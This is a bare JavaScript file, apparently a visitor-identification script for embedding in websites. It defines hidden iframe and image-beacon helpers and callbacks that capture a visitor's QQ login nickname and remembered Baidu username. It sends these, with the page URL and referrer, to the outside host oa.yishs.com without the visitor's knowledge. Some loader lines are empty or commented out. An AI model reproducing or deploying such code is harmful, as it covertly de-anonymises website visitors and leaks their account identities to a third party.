function createIframe(url) {
var iframeid = document.createElement('iframe');
iframeid.src = url;
iframeid.style.display = 'none';
document.body.appendChild(iframeid);
if (iframeid.attachEvent) {
iframeid.attachEvent("onload",
function() {
document.body.removeChild(iframeid);
});
} else {
iframeid.onload = function() {
document.body.removeChild(iframeid);
};
}
}
function isLogin(obj) {
var imgs = new Image(),
r = obj.r,
nick = '',
host = encodeURIComponent(document.location.href),
refer = encodeURIComponent(document.referrer);
if(obj.nick) nick = encodeURIComponent(obj.nick);
imgs.src = "http://oa.yishs.com/?m=online&a=isOnline&id=iO0dPjMiuWyNp7PXrT13ITbKzq39w&ck=1&host="+host+"&refer="+refer+"&nick="+nick+"&code="+r+"&t=" + new Date().getTime();
if (r == 0) {
var qqsrc = "&idcode=iO0dPjMiuWyNp7PXrT13ITbKzq39w";
//createIframe(qqsrc);
}
}
var frameImg = "function isLogin(c){parent.isLogin(c);}";
document.write('');
function getbduser(c){
if(c.data.rememberedUserName){
UserName = c.data.rememberedUserName;
var imgsrc = "http://oa.yishs.com/?m=online&a=bduser&username="+encodeURIComponent(UserName)+"&id=iO0dPjMiuWyNp7PXrT13ITbKzq39w";
createImg(imgsrc);
}
}
/*
var frameBaidu = "function bd__cbs__yvhvnm(c){parent.getbduser(c);}";
document.write('');
*/
setTimeout(function(){
var img = new Image();
img.src = "http://oa.yishs.com/?m=online&a=stat2&ck=1&id=BCgAq3AhkZxYRKpzMLy5IWvozpg7A";
},1500);
function createImg(url){
var img = new Image();
img.src = url;
}